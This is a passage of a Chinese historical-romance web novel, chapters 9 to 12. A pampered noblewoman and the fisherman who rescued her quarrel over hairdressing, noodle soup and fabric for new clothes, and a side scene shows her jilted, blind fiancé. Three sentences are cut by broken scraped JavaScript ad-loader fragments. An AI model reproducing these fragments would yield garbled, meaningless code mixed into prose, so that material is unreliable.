四目相对间，空气似凝滞了一瞬，随即，女郎一言不发地退开。 寇骞侧身进去，目光掠过她蹙着的眉头，顿时有些头疼，昨日走时还好好的，怎么又不高兴起来，总不能是这院里的桌椅板凳嫌日子太过舒坦，主动蹦去招惹她。 “是某来太早，扰了你的好觉？那你再睡会儿，等好了某再喊你？” “还是不想吃馎饦？那改喝粥？” “……小祖宗？” 寇骞绝对是把下辈子的好脾气都拿出来透支了，偏偏那些土里埋的祖宗一并加起来，也不如这个水里捞起来的祖宗难伺候。 好半晌，那难伺候的小祖宗才肯正眼瞧他，“你替我寻个会梳头的人来……我可以给工钱。” 所以，大早上在这闹别扭，是因为梳头把自己梳生气了？ 寇骞瞟了眼她散逸的头发，眼底划过一点笑意，只是唇角刚要上扬，便被她抓了个现行，凌厉的眼刀紧随而至，“你敢笑话我！” “咳，某不敢。” 崔竹喧恶狠狠地剜了他一眼，对他那拙劣的演技嗤之以鼻。 “一会儿量尺寸要出门，某先帮你梳个简单的？” 她下意识就要拒绝，可总这么披头散发也不是个办法，抬眸去看那人，虽只是束了个高马尾，但也算齐整，到底是咬牙点了头，只是人已坐到镜前，仍不忘凶巴巴地威胁几句，“你若是胡来，我就——” 寇骞一手执着木梳，一手挽起她的头发，将被风搅得有些凌乱的发丝重新规整，手心柔软的触感果然同他想象的一般，大抵是因其长在这小祖宗头上，娇生惯养得比锦缎还好摸些。 他微微挑眉，瞧见镜子里的人板着的脸，一副煞有介事的模样，“就怎么样？” 打他一顿自然行不通，毕竟崔家的侍卫不在，没人帮忙摁着，她打不过，又没有他的卖身契在手，没东西可供威胁，思来想去，她只能在先前许诺的金银珠宝上做文章，“就扣你的钱，我不高兴一次就扣你十两银子！” 寇骞无甚所谓地点头，“三个金饼，够某扣上好一阵了。” “你！”崔竹喧气恼地扭头瞪他，话还未出口，就变成呼痛声，是发丝拉扯头皮的刺痛。 “别动，消停点。” 她咬牙切齿地转回去，在镜中映出了一副怒容。 这人分明是在故意惹她生气！笨手笨脚的泥腿子，狗嘴里也吐不出象牙！ 她现在就要扣他钱，扣十两、不，扣二十两！ 这边气成一条河豚，那边却是惬意万分，只是怕河豚真的气炸了，这才抿着嘴，强压下笑意。 修长的手指在墨发里翻折，像平素里织渔网似的，一缕一缕缠到一块儿，编出一条长长的辫子，末了，系上绸带。 “难看。” 9. 009 羹煮馎饦 几乎是在寇骞停手的第一时间，崔竹喧便毫不留情地批判道。 她仍是那副微扬着下巴的矜贵模样，挑三拣四，吆五喝六，是她一贯的做派。 “嗯？某怎么不觉得？” 崔竹喧轻嗤一声，正要刺他一句眼光下乘、手艺拙劣，那人便已倚着桌案，俯身下来，“哪难看？是你的脸难看，还是你的头发难看？” 她本就不悦，此话一出，更如同火上浇油，顷刻间燃起了燎原之势，当即要去拽他的头发，可这招都第三回了，寇骞早有预料，话音刚落，他便直起了身子往后躲，将头发撩起来高举着，让她扑了个空。 只是，还不待他得意几下，身子猛然僵住。 崔竹喧捕猎失败的右手并未撤回，而是就近拧上他的腰，只是这人不晓得吃什么长大的，硬得跟块青石板似的，她用劲再用劲，也辨别不出把人掐疼了没，但观他神色，应当是不好受的。 她乘胜追击地逼问：“说，谁难看？” 他落于败势地投降：“某难看。” 崔竹喧面色稍霁，深觉自己拿捏住了他的新把柄，全然没注意到他目光晦暗一瞬，压平欲上扬的唇角，扬起下巴，“有多难看？” “……和你昨日嫌弃的鱼一样难看。” 她怔了一下，扑哧一声笑出来，眼角眉梢都沾染上星星点点的笑意，“算你有自知之明。” 被这般嘲弄，寇骞合该气上一气，申斥两声也好，提刀威胁也罢，总归该吓唬吓唬她，让她长长记性，可偏偏，他也跟着翘了嘴角。 他为他的贪财好色，容忍几分，让步些许，也算合情理吧？ “行了，给你做饭去。” 崔竹喧看着那人大步跨出去，犹豫一会儿，也提着裙摆跟上。 按理说，她才不想去沾染厨房的油烟味儿呢，但这院子里又没有花花草草可赏，也没有声音婉转的丫鬟给读话本子，无趣得很，与其对着这下得没完没了的雨发呆，还不如去盯着这人有没有挟私报复，故意做一碗无从下口的东西为难她。 她一路只走檐下的一小块干地，动作慢吞吞的，越过门槛时，寇骞已经在面粉中添好油和水，用手将它们揉到一处。她盯着看了会儿，见那白色的糊糊逐渐成了一个胖乎乎的面团，而后又被搓成细细的长条，一截一截揪成小段，泡进瓷盆的凉水中。 有些一下就沉了底，有些不上不下地漂浮着，还有几个竟直接趴在同伴的背上，只被晕湿了边角，崔竹喧见不得这种偷奸耍滑之辈在眼皮子底下苟活，便伸出一根食指，把那些浮在水面的挨个摁下去。 只是这般，指尖就不免沾上黏糊糊的白，“有——” 话才刚起了个头，那人就递了块布巾过来，白色的，瞧着还算干净，于是她勉强在上头蹭了蹭，除了需要清理的指尖，旁的地方是一处都不肯挨。 寇骞便没这么讲究了，就着她用过的布巾，随意擦了下手，开始收拣起桌案，“你去那边挑挑，想用什么做汤。” 崔竹喧凑到那口布袋旁，斟酌许久，相中了一朵白色的、如华盖般的平菇，把底下沾着泥的部分掐掉不要，这才志得意满地将东西递过去。 只是阿谀奉承的话没等来，她抬眸看去，对上个一言难尽的目光。 寇骞没去接她手里无比精致的那一朵，越过她，粗暴地抓了一把同类扔进木盆里，又添根胡萝卜，一棵绿叶菜，从瓮中舀了几瓢水泼下来，蹲在地上开始清洗。 ——不是说让她挑吗？ 崔竹喧低眉，盯着手里那朵一点瑕疵都没的平菇，没来由地生出一股怨气，甩袖出去。 不论是菌柄还是菌盖，都是软乎乎的，撞到硬梆梆的墙壁，跌下灰扑扑的桌子，滚进待烧的柴火堆里，发不出一点声响，在哗啦啦的水声中，寇骞倒是听到了脚步声，只当是那小祖宗在这待着无聊，进屋歇着了。 把切好的菇子、胡萝卜、菜叶子混上肉沫一起下锅烹煮，再将浸好的面段扯成长条扔进去，于汤色渐浓时，加少许盐，便可准备碗筷出锅了。 偏偏馎饦摆上桌，吃饭的人就剩他一个了。 “真不吃？” 崔竹喧搬了条板凳坐在窗边，端着一副观风赏雨的雅致，可耐不过粗瓷碗里丝丝缕缕的热气冒个不停，裹着香味，压过了湿冷的气息，一个劲儿往她鼻子里钻，她忍不住用余光瞟过去，是两碗馎饦。 金黄色的汤里浸着雪白的面条，兼有橙红色的胡萝卜和青翠的菜叶，她这般远远地望着，竟像是碗里盛了朵开得正艳的花，与昨日那尸块汤相比，简直是一个天上，一个地上。 按常理而言，这么好看，这么好闻的吃食，味道一定也极好。 她昨日就吃了一顿饭，夜里饿了也只勉强啃几块点心充饥，眼下轻易便被勾起了馋虫，恨不得直接把馎饦塞进胃里，可她却硬生生把目光又挪回了窗外，对着歪七八糟的枯枝败叶平心静气。 这人刚刚还忤逆她来着，她怎么能因为区区一碗馎饦，就赏他好脸色？ “某的手艺可比阿树的好多了，一口都不尝？” “不要，我不饿，”崔竹喧咬牙拒绝，末了，还要贬低一番，“近朱者赤，近墨者黑，他做的吃食难以下咽，你做的肯定也好不到哪里去！” 寇骞看着她，忽而拿起木箸，在碗里翻搅起来，面条连汤带水一并涌进他那张大口里，咀嚼声、吞咽声一时竟压过了窗外的雨声。 世上怎会有如此粗俗无礼之人！ 崔竹喧恶狠狠地瞪他，他反倒变本加厉，闹出的动静愈发大了。 “你就不能安静点吗？” “不能。” “那你端着碗出去吃！” “也不能。” 崔竹喧分不清现在是生气多些，还是伤心多些，在这里人生地不熟的，她就只认识寇骞一个人，偏偏这人一点也不听她使唤，明明她许了他金银，连身上仅剩的一根金簪都给了他，若换成金缕，定然不会如此。 就算不是金缕，换成府上任意一个仆从、侍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 卫，也断然没有人敢这么欺负她。 要是叔父和堂兄在，她更不会因为这点小事受委屈。 可屋子是人家的，她又打不过他，哪能顺利将他赶出去呢？是以，只能她走。 崔竹喧攥着裙摆，指甲陷进衣料，而后刺进手心，平生第一次不是气势汹汹地将人赶出去，而是自个儿灰溜溜地往外走。 屋子很小，饶是她刻意绕开他走，可桌子就在那，门就在那，寇骞只肖一伸手，便捏住了她的腕子，她挣了挣，甩不脱。 “某又是哪招你了，小祖宗？” 崔竹喧偏过头去，一点儿都不想搭理这个粗俗无礼的讨厌鬼，可讨厌鬼非要纠缠过来。 “你不说，某怎么改？某不改，你明日还要生气，这里可没有大夫，气坏了就更走不了了。” 崔竹喧默了半晌，“你都不听我的，还好意思问我。” 寇骞琢磨不透，“哪句没听？” “你说好让我挑汤料的。” “你挑的是平菇，这碗里不是平菇？” 崔竹喧冷哼一声，“这又不是我挑的那朵！” 得，这小祖宗怕不是河豚转世投胎，挨不得碰不得，什么都要气上一气。 “你讲讲道理，就那么一小朵，喂麻雀都不够使的，你爱吃清水煮馎饦不成？” 崔竹喧的气势顿时落了下乘，可还不等他松口气，转眼又高涨起来，“那你为什么刚刚不同我说？向我摆冷脸，还不理我！” 到底是谁向谁甩脸子啊？惯会倒打一耙！ 寇骞深觉是因为自己住在江边，吃多了河豚，才会碰上这么个化成人形的河豚精向他讨债，揉了揉脑袋，叹气道：“你那朵金贵的菇子呢？” “扔了。” “扔哪了？” “我怎么知道！” 寇骞拽着她的手腕将人拉过来，然后把她摁在凳子上坐下，“等着。” 谁要等他！ 崔竹喧气恼地瞪他一眼，恨不得在他后背上剜下两个大窟窿，只不过是因她现在无处可去，这才坐在凳子上，绝不是听他的使唤！ 另一头的寇骞在厨房里四下寻摸着，终于在灶台的犄角旮旯瞧见那朵沾了灰的白色，用对待金箔般的小心翼翼将其洗净，在硕大的铁锅中，单煮这朵还没半个巴掌大的平菇。 灶膛里的火烧得正旺，自锅壁起，接连不断冒出大大小小的气泡向外翻涌，来去的涟漪将那朵小小的菇子掀得歪来扭去，薄薄的菌盖却总是背对着他，像极了那个动不动就板着脸的姑娘。 别说白原洲，便是整个汾桡县也寻不出第二个如她性子这般坏的人了。 但—— 罢了，也，不是太坏。 把那朵菇子捞起来，端进屋里，用干净的木箸夹起，在她眼前上上下下展示了一番，“喏，你的金贵菇子，可别说某随意捡了一朵敷衍你。” 崔竹喧瞟过去，那个断口确是自己弄的。 “这回能吃了吧，祖宗？” 10. 010 绫罗绸缎 白白软软的菇子浸在浓郁的汤中吸饱了汁水，染上了浅淡的金色，放入口中，又鲜又滑，用牙齿咀嚼几下，好像还能尝到肉沫的油香。 确实好吃，几乎能与崔府的厨子相提并论了。 但崔竹喧抬眼便望见边上那张小人得志的脸，深觉不能助长他的气焰，刻意压平了唇角，用冷淡的声音开口：“也就那样吧。” “那晚上还是让阿树做饭？” 崔竹喧当即变了脸色，强烈抗拒，“不行！” 话一出口，她就后悔了，这不是一下就暴露了吗？ 她愤愤地咬牙，果然见那人已经歪头开始偷笑了，偏又寻不到发作的理由，只能拿着木箸对碗里的馎饦下手，一条条戳烂去，好像是在那个讨厌鬼身上扎出一个个口子，而后放进嘴里统统嚼烂。 起先还记得发泄之事，后头就只记得吃了，虽然寇骞这个人不怎么样，但厨艺还算像样，要是哪天不打渔了，去街面上支个馎饦摊子，她还是很乐意光顾的。 她一口气吃了小半碗后，准备寻个调羹来喝汤，这才发现那人不声不响地吃起了第二碗，这会儿倒是不吸溜了，由此可见，他刚刚就是故意找茬的。 崔竹喧又白了他一眼，后者分外茫然，只好三两下吃完，抱着锅碗瓢盆去洗。 崔竹喧重新有了倚栏听雨的雅致，至于听的是淅淅沥沥的雨声，还是稀里哗啦的水声，有待商榷，看的是雨珠砸弯草叶，还是水花溅了某人满脸，亦不能分辨，唯有一点能确定，她现在心情极好，好到洗碗这种琐事，她都觉得那人做得有趣极了。 他若是听话些，她也不是非扣他的钱不可。 寇骞把洗好的碗筷放进竹橱，低眉将挽起的袖口放下，余光瞥见雨幕外的那人，视线在她垂下的长辫子上停了片刻，忽而想起她蹙着眉，喊着难看。 实在好笑，他想，她便是把头发都绞了，也该是尼姑庵里最显眼的那个。 “来挑挑你要哪些料子做衣裳。” 一个打渔的家里能有什么好料子？ 崔竹喧有些不屑，兴致缺缺，但碍于她实在没衣裳穿，到底还是跟在他身后，看他神神秘秘地打开全院子唯一一间上了锁的屋子。 虽说没有扑面而来的厚重尘灰，但也没好到哪里去，乱七八糟的箱子、匣子堆了满地，连落脚都得特意勘探一番，她好不容易才绕过两个挡路的木架子，那人已然轻松地跨过去，抬几次腿，就到了屋子的最里面。 粗俗！ 她在心底轻嗤一声，跟只螃蟹似的，若叫礼官看见了，只怕得被压着从走路开始学。 她自诩走得分外优雅，莲步轻移，可耐不住这一堆桌椅板凳都是朽木，不懂欣赏不说，还生得一副黑心肠，撞到这个故意伸出的手，绊到那个刻意探出的头，才至半途，她便觉身子一歪，向前扑去，眼见着破木头和脏地板离自己越来越近，只来得及惊呼一声，双手捂住自己的脸。 就是一头撞死了，她也要做一只好看的鬼！ 不消几息，她便栽到了底，只是预料之中的疼却不甚明显，她正怀疑着是不是自己撞昏了头，这才感觉迟钝，下一瞬却有东西极轻地爬过她的头发，而后是道带笑的声音，“不好走在那等着就是，跟过来做什么？” 难怪不疼，撞的不是木头，是寇骞。 她后知后觉地反应过来，那东西是他的手，他竟胆大妄为地摸她的头发，无礼至极！ 可还不等她申斥，这人便愈加得寸进尺，未经她同意就把她抱起来，用那粗俗的“螃蟹步”往里走。 不得不说，这“螃蟹步”虽然难看，但确实挺实用，不必费心去弯弯绕绕，只管抬脚跨过去就是，当然，有个前提是腿够长，不然卡在半道上前不前、后不后的，可得丢脸丢大发了。 也是这时候，崔竹喧才注意到他身量极高，□□尺的样子，大抵比堂兄还要高些，但也不确定。毕竟过了十岁，叔父就不准她支使堂兄背着她满府跑了，后来要学的礼节越来越多，要守的规矩也越来越多，堂兄甚至都不能进她的院子，每日用晚膳时才碰得上面，又隔着大大的桌案，仅凭一双眼睛看着，哪能瞧得那般真切。 不像现在，她环着他的脖颈，这般近的距离，只要她想，大可用手指沿着他的肩线走一圈，轻易丈量个大概。 只是未将想法付诸实践，她就被放了下来，也是，一个小破屋子能走几步？ “看看有没有瞧得上的。” 无非就是些粗布、麻布的，光看他身上的衣料也该知道的。崔竹喧吝啬地分了一点目光过去，就见能钻进一个人那么大的木箱里堆了十几匹布，随着寇骞将它们拎出来的动作一匹匹瞧清楚，平滑光亮的缎，挺括细密的绸，最后的竟是一匹蜀锦。 若放在旁的地方，区区一匹蜀锦自然不值得她侧目，可这出现在一个渔夫家的库房里，这怎么能不让她讶然。 “喜欢这个？”寇骞注意到她的目光，把这匹拎出来单放，又示意她去选其它的，这般毫不吝惜的模样，更让她觉得疑惑。 纵然她平日里挥金如土，从未为银钱发过愁，但绫罗绸缎的价跟粗布细麻的价还是能区分的，只这一匹蜀锦，随随便便也能换来百两银子，“你自己都穿着粗布，给我用蜀锦？” “……某一贯干粗活，用不上那么娇贵的料子，”他不自然地低下头，从剩余的锦缎中挑取颜色好的，和蜀锦放到一块，剩下两三匹太过老气的被重新塞回箱子里，“用这些做衣裳，再做几双鞋，你若还想要别的——” 崔竹喧只是往前走了一步，无奈地段狭小，她的鞋尖抵住他的鞋尖，他那些啰里八嗦的话戛然而止，她抬眉看去，轻易地瞧见他微颤的眼睫，她凑得更近了些，几乎是强迫性的，让他不得已地迎上她的目光，“……干什么？” “你真的是渔民？” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他扶着墙退开两步，总算缓和过来凝滞的呼吸，“现在是。” “我可没听说过，哪处的渔民买得起蜀锦。” “祖上传下来的。” 崔竹喧冷笑一声，毫不留情地戳穿他的谎话，“三年前时兴的花样，这也能叫祖传？” “那就是水里捞的。” “那十几匹绸缎也是？真是奇了怪了，这些布料全生了尾巴，往你的渔网里钻。” 寇骞咬牙道：“我都能从水里捞出你这个祖宗，捞几匹布有什么奇怪的？” 这怎么能一样？ 崔竹喧欲跟他再掰扯掰扯，他却用那些锦缎威胁上了，拿人手短，她只能不情不愿地住了嘴，在被他从屋里抱出来时，扯了扯他的头发用以发泄。 寇骞疼得一张脸面容扭曲，“活爹都没你难伺候！” …… 今日的雨下得缠绵，如渺茫的雾，如轻薄的纱，丝丝缕缕，极细极小，若是不去管它，那雨丝保管黏的满头满身，要将衣料晕湿的，但要是执一把天青色的纸伞，漫步在小径上，倒别有一番意趣。 可崔竹喧没有天青色的纸伞，她只有寇骞翻箱倒柜出来的一把暗黄色的油纸伞，没有题诗，没有作画，丑得像是将肉铺装肉的油纸一张张收拣起来，拼凑一起黏成的，只胜在够大，能将雨遮得严实。 她将伞沿微微上翘了些，那个戴着斗笠的身影就露了出来，茅草编织的蓑衣披在肩上，雨珠从他的笠边跌下，又顺着草茎的纹路滚落，最后砸进湿软的泥中。 丑死了，她想，比这把油纸伞还丑。 可那人穿得自在得很，甚至吃了秤砣铁了心，坚决不肯帮她撑伞，她不就是拽了下他的头发嘛，都没扯下来几根，哪就有他那么小气的人，她还没计较他扯谎骗人的事呢！ 她愤愤地将伞沿压下，什么打渔的，她一个字都不信。 崔竹喧还在同鞋底的烂泥纠缠不清，寇骞已然叩上了门扉，同屋里人热络地交谈起来，好一会儿，话题才被牵到了她身上，她把伞往后倾，瞧清了门内人的模样。 是个三四十岁的妇人，旁的，便没什么可说了，相貌不打眼，衣衫也不打眼，唯有脸上几乎要咧到耳朵的笑实在热切，她便礼节性地弯了弯唇。 雪肤花貌的女郎眉眼盈盈，一颦一笑间，便是仕女图中的美人从画中走出来，也不过如此了，范娘子怔然一瞬，往日胡咧咧惯了的大嗓门也压了下来，强装出几分温婉，“崔娘子随我来，我做了十多年的衣裳了，针线活在白原洲是一顶一的好，定能让你满意。” 崔竹喧对这话并不抱几分信任，崔府养了一个庄子的绣娘给她做衣裳，也不是件件都能让她顺心的，更别提是这乡野间的普通妇人，只要针脚严实些便好，反正她只需穿过这个汛期。 行至檐下，范娘子收了伞。 崔竹喧将伞柄往后一递，自有人帮她收。 11. 011 金迷蝶猜 崔竹喧本以为，这乡下地方，就算没有特制的软皮尺，寻常的木尺总该是有的，然而被带进房里，范娘子竟只是用两只手掌在她身上比划，肩宽几掌，袖长几掌，到了腰身、裙摆，则是用一截绳子打结作为标记，上上下下都是一股穷酸气。 “这样做的衣裳，能合身吗？” “能的、能的，白原洲那些个不会针线活的郎君，穿的不都是我缝制的衣裳？”范娘子笑得坦率，想起刚刚寇骞给她拿伞的乖觉模样，便生出了几分保媒拉纤的心思，意有所指道，“远的不提，就说寇郎君那身，穿得多精神啊！要放在早几年他在县里当差的时候，冰人可是见天地追着他跑呢！” “县里当差？县令还是县尉？” 范娘子面上的笑僵了一瞬，声音渐弱了下去，“也不是文曲星投生，小门小户哪里当得上那种大官，就是个衙役。” 许是觉得说错了话，直到崔竹喧被送出去，范娘子再没出声，连接过寇骞塞来的银铤时，笑得都有些勉强，目光里带上了几分怜爱，盯得寇骞鸡皮疙瘩竖了满身。 他用撑开的伞将崔竹喧从房檐下迎出来，走出去十数步，确定边上无人，这才开口问道：“某怎么觉得，她跟你独处了一会儿，就变得奇里奇怪的？” “同我有什么关系，怎么就不能是她突然厌烦了你，所以想赶你快走呢？”崔竹喧白过去一眼，伞柄在手心旋了一圈，成串的雨珠便沿着伞骨的边缘飞溅出去，砸了他满身。 寇骞草草抹了下脸上的水，本着惹不起总躲得起的想法，往前快走两步，拉开距离。 崔竹喧扬起的眉尾又渐渐垂了下去，指甲在伞柄上划了几道，再去看伞沿外那道纤长的背影，只是一眼，就用伞沿把他遮盖干净，动不动就不搭理人，讨厌鬼！ 她闷头往前走着，越走越快，没来由地较起劲来，把那道身影遥遥甩到后头，这才畅快些许，把伞沿翘起，准备讽他几句拖拖拉拉，可朦胧雨幕中，有错落的房屋，有歪曲的篱笆，有脏兮兮的草叶和野花，甚至有将腮帮子鼓得老大的青蛙从她鞋面上越过，唯独没有应有的那人。 她脸色难看地退开两步，离那湿乎乎、黏哒哒的东西远些。 “寇骞？” 她刚刚走得有那么快吗？就算，就算真的是她走太快，他就不能跑两步追上来吗？ 崔竹喧气恼之余，免不得有些恐慌，往前，她不认得回寇骞家的路，往后，她也不记得范娘子是住在这些丑得如出一辙的屋子中的哪一座。 只能去问问了。 她选了个离得最近的屋子，忐忑地叩门。 寇骞是好人，范娘子是好人，那她敲的这户人家应当也是好人吧。 她叩了三遍，侧耳贴在门板上，听着脚步声越来越近，这才放心站直身子。门板如愿从里头打开，她问路的话却蓦然卡了壳。 冲天的酒气扑面而来，熏得人几欲作呕，同那身破烂衣物相得益彰的脸涨得通红，泛着积攒了数日的油光，来人扶着门框，上下嘴皮子一张，比声音先涌出来的是浓重的臭气。 “小娘子来——” 他粗短的手正要把崔竹喧往里带，那双浑浊的眼却颤动一下，还未待她反应过来，门板“砰”的一声合拢，险些撞上她的鼻尖。 她心头发紧，怎么运气这般差，敲的是酒鬼的门，可换一个屋子，却也难保不是第二个酒鬼。 稠密的雨丝仍在下着，四野尽是窸窸窣窣的雨声，直至水花飞溅的声音横插进来，她猛地回头，所有的惊惶无措在那一刻尽数消散，她又变回了那副倨傲的模样。 “你跑哪去了？” “不是让你等等？” 两道质问的声音几乎出自同时，前者横眉冷对，倒打一耙，后者无奈地拎着手中的一网兜蛤蜊在她面前晃了晃，“晚上给你炖汤的，某去邻居讨完出来，你就不见了人影。” 崔竹喧将目光落到那些蛤蜊上，一个个只比拇指大上一点，挨挨挤挤在一块儿，挣扎着翕动两瓣外壳，又不自觉地往下，瞧见他被泥点爬满的裤腿，应是跑着来的，不然不至于弄成这副模样。 “……我没听见。” 寇骞忽然伸过来一只手，夺过油纸伞，却并不往回收，仍稳稳当当地停在她的面前，把那些雨丝隔绝在外，“某给你撑伞，这回总不会走丢了。” 伞面其实很大，大到再塞进一个寇骞，两人也淋不到丁点儿，可他的给她撑伞就真的只是给她，他除一只左手握着伞柄，其余部分依旧是靠着那身简陋的蓑衣遮蔽，滴滴答答往下落着水珠。 笨死了，她想。 他若好声好气地求她两句，她未尝不能屈尊与他共伞。 “你怎么老去邻居家拿东西啊？” 寇骞瞥过来一眼，随口答道：“家里穷得揭不开锅，自然要靠邻里接济。” 又开始胡说八道了！他刚刚还往外递银铤呢！ 崔竹喧算是明白了，这人嘴里就没一句真话，倒不如给她量体裁衣的范娘子可靠，想到这，她又问：“你以前不是当衙役吗？为什么不当了？” “……怎么什么话都往外说，”寇骞小声嘟囔两句，继续搪塞，“不想当就不当，哪那么多为什么？” 她偏头望过去，上上下下打量着他躲闪的神色，灵光一闪，“是不是县令欺负你了？你求求我，我就勉为其难就帮你收拾了县令。” 寇骞好笑地回答：“那某要是因为作奸犯科，被撵出来了呢？” 她脸色一变，急道：“你、你无耻！” “啧，某说自己是好人，你要再三怀疑，某说自己是恶人，你就深信不疑？” 崔竹喧愤愤地瞪他一眼，“哪有用这种事开玩笑的？你也不怕真的被官府捉去，砍了脑袋。” “好，不开玩笑，”寇骞从善如流地改口，“某一颗慈悲心，救了人，还把她当祖宗供着，庙里念经的大和尚功德都没某多。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “少往自己脸上贴金，你收了我的金簪，自然该听我使唤！” 寇骞顿了一下，定定地看过去，矜贵的女公子只顾着提着裙摆，避开软烂的黄泥，她不缺一个打伞的奴仆，又如何会把打伞的人看进眼里？ 他握着伞柄的指节微微泛白，低垂下眼睫。 “……说的是，某不过是，拿钱办事。” * 经雨洗过的天一片湛蓝，清风缕缕，翻动绿叶莲波，朵朵芙蓉面半遮半掩，最好不过的景致，却被水榭外层层叠叠的薄纱挡却，瞧不见丁点儿。 而薄纱外侧，满头大汗的奴仆神色仓皇地赶来，亦无暇欣赏菡萏芙蕖。 “公子，虞阳那边来信了。” 亭内静了片刻，下一瞬，那纱幔便被收拢向两边，错金博山炉的香雾与顾渚紫笋的茶雾缠在一处，被偶然闯入的风惊得四散消匿，唯桌案旁芝兰玉树的人仍坐在那，不紧不慢地放下茶盏。瓷与瓷之间发出一声清脆的响，而后是道温润如珠落玉盘的声音。 “是簌簌？” 外头人讷讷应了声是，帘内人便弯起了唇角，望向被薄纱遮盖的莲花的方向，“她定要怨我为芙蓉作诗，扰得她要在荷塘边待着了。” 分明是极温和的话，侍从却不自觉将身子躬得更低了些，背上冷汗渗渗，捧着匣子的指节隐隐泛白，那人没发话，他便不敢起身。 “将画挂到我房内吧。” “……公子，没、没有画。” 风倏然停了，飘摇的纱幔直直地垂落，那人转头过来，本该是朗目疏眉处，却覆着一条三指宽的缭绫，在那张脸上，突兀至极。 “崔女公子派人将信物和庚帖送了来，说、说是要，退婚。” 话音刚落，周遭的侍女仆从便纷纷跪了下去，个个低伏着身子，屏住呼吸，将存在感降到最低，独独苦了报信的那位，硬着头皮把匣子送到桌案上，豆大的汗珠同泪水一般，淌了满脸。 蓝青溪微微低眉，纤长的手指顺着匣子的纹路一点点摸索过去，拇指将卡扣一挑，“咔哒”一声轻响，左手扶起匣盖，右手探入其间，轻易便碰到了那块上等的羊脂玉。 白而细腻，触手生温，指尖顺着流畅的线条抚弄，勾勒出一只蝴蝶的形状。因那时她还是爱扑蝶的年纪，所以特意请匠人琢了一枚蝴蝶佩作为信物，与这一并送过去的，还有一个温泉庄子，别的无甚稀奇，只是外头隆冬飞雪，里头仍有蝴蝶翩跹。 故而，他收到了她的第一封信。 很短，说是庄子里的蝴蝶单调，看腻了。 于是他遣人四处搜寻珍稀的蝴蝶，精心豢养，只是她再没踏进庄子一步。 她总是这般，喜欢来得快，去得更快。 手指一根根松开，玉佩没了凭依，跌在地上，从蝶翼到蝶身，被蛛网般的裂痕侵蚀过去，最终碎成一摊残骸。 “讨不了簌簌欢心，那就没有必要存在了。” 12. 012 有风如刃 风宁时，满池的荷花兀自立着，在一轮烈日下炙烤着，花瓣上晶莹的露珠一颗颗被蒸干，仆从们额前的汗珠却一颗颗往外渗，僵持许久，直至炉内最后一点香燃尽，才有人壮着胆子打破这片死寂。 “公子，施针的时辰到了。” “知道了。” 蓝青溪合上匣子，立时有人小心地将匣子捧起，他缓缓起身，身侧便跟了个仆从，低眉顺目地搀着他走出水榭。 脚步声消匿那刻，荷塘边终算活了过来，风声夹杂着呼吸声，腿脚跪至酸软的仆从瘫倒了一地。 蓝青溪沿着小径，穿过回廊，步入临兰阁中。 阁内，素衣女子坐于正中，慢条斯理地将银针置于烛火中炙烤。 蓝青溪微微抬手，闲杂人便撤了个干净，唯剩下他和她，“是你传消息到虞阳的？” 女子并不抬眉，兀自做着施针前的准备，“崔氏的人赠我五条银铤，关心你的身体罢了。” “我以为，保守患者病情，是为医者最基本的操守。” “我以为，崔氏与你乃是姻亲，算不得外人。” 蓝青溪默了片刻，“我每日付你十倍有余的诊金，扪心自问，未曾慢待于你，不过是请你为我医治眼疾罢了，蔡大夫又何必如此行事？” “举手之劳便能有一笔银钱入帐，何乐而不为？至于公子么，”蔡玟玉面上带着一抹浅笑，温声嘱托道，“被退婚的滋味想必不好受至极，公子这病，最忌忧思，还是抄抄佛经，平心静气为好——呀，忘了，你现在看不见，抄不了佛经。” 蓝青溪神色微冷，扯下面上的缭绫，露出一双空洞的眼。 “我一日未愈，便一日不会放你离开。” * 这天气，只适合坐在廊边，听几滴檐下落雨，真要是下地走几步，那什么诗情画意都能被践踏没了，诸如现在，月白色的鞋面上绽开大朵大朵暗黄色的泥点子，鞋底的纹理被沙土填了个严实，边角处还有不死心的烂泥死缠不放，怎么甩都甩不脱。 合该把脚上的这双脏东西扔掉。 可这双都是借的，这下畅快扔了，接下来几日，总不能赤着脚下地。 崔竹喧只能踩着门前仅有的几块青石板，蹙着眉在上头剐蹭鞋底，企图把鞋弄干净些，寇骞见状，只换了只手撑伞，倚着墙面，安安静静地等着。 小祖宗嘛，催不得。 他眯眼打了个哈欠，一夜未眠的困倦在这时涌了上来，眼皮子正要往下耷拉，一道火急火燎的声音便钻进了他的耳朵，寇骞有些烦躁地抬了下笠沿，望见一张着急忙慌到五官乱飞的脸，是阿树。 “不好了，老大，你的船没了！” 边上的崔竹喧动作一顿，脚慢慢挪回裙下，眼神飘忽向屋前的柿子树，好似在这细雨绵绵的时刻，惊觉那肥绿叶片间星星点点的花格外动人。 “没了就没了。”寇骞语气平淡地回答。 “码头那么多船，没的偏偏是你的，这不是挑衅是什么？这事不能就这么算了啊！”阿树脸上写满了不可置信，大声争辩，“定是——呜呜呜？” 寇骞捂住他的嘴，把事情始末盖棺定论，“昨夜风大，被刮走了。” 阿树登时瞪大了两只眼睛，怀疑面前人被水鬼附了身，不然这光天化日的，怎么就能睁着眼睛说瞎话，他把嘴上捂着的手掰下来，“那绳子断口都是齐整的，刮的是风，又不是刀子，哪能断成那样，分明是有人半夜偷船！” “……我说是风刮的，就是风刮的。” “不可能！老大，不信你跟我去看！” 寇骞咬着牙，瞥了眼对着柿子树发呆的人，转过头，压着嗓音警告：“再在这儿唧唧歪歪的，我把你的骨头拆了划船使！” 此话立竿见影，雨幕里很快就没了那道瘦小的身影。 寇骞拧着眉收回目光，这帮子吃硬不吃软的东西，他就不该在前头废话那么多句，直接上手打就完了。 他望向杵在树边，几乎要成第二棵树的崔竹喧，“柿子十月份才熟，你再怎么看，它现在也结不出果。” “你懂什么？我是在赏花！”崔竹喧反驳道。 花么？ 寇骞跟着看过去，一小朵一小朵的花挤在叶片的间隙，有扬着脑袋的，有低头张望的，更多的，还是被这场雨打下来，陷进水洼和污泥作伴，要不了多久，这花就该落完了。 “那还要看么？” “不看了！” 她果断地迈进门槛，寇骞便撑着伞跟在旁边，走出好几步，她才有些不自然地开口：“昨日那条，是你的船？” “不然苦主就该找上门了。” 